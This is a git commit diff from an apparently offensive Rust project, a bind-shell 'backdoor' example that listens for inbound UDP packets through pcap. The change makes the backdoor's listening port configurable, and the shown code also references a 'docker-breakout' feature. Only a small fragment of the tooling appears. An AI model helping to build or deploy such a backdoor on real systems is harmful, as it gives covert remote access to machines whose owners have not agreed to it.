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feat: added a way to specify port to listen on

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the backdoor example always listened on port 54248 and did not allow for
configuration, but now it can be changed by passing in a command line argument
This commit is contained in:
Andrew Rioux 2023-05-28 15:17:09 -04:00
parent bd31c6457d
commit b770d53f57
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
1 changed files with 3 additions and 1 deletions
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4
examples/bind-shell/backdoor/src/main.rs
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@ -35,6 +35,8 @@ async fn handled_main() -> anyhow::Result<()> {
log::info!("Pubkey is good"); log::info!("Pubkey is good");
let port = std::env::args().skip(1).next().and_then(|a| a.parse::<u16>().ok()).unwrap_or(54248);
#[cfg(feature = "docker-breakout")] #[cfg(feature = "docker-breakout")]
unsafe { unsafe {
let mut err_loc: i32 = 0; let mut err_loc: i32 = 0;
@ -71,7 +73,7 @@ async fn handled_main() -> anyhow::Result<()> {
let mut interface = interface.activate()?; let mut interface = interface.activate()?;
interface.set_filter("inbound and udp port 54248", true, None)?; interface.set_filter(&format!("inbound and udp port {port}"), true, None)?;
if interface.datalink() != pcap_sys::consts::DLT_EN10MB { if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not support ethernet") bail!("interface does not support ethernet")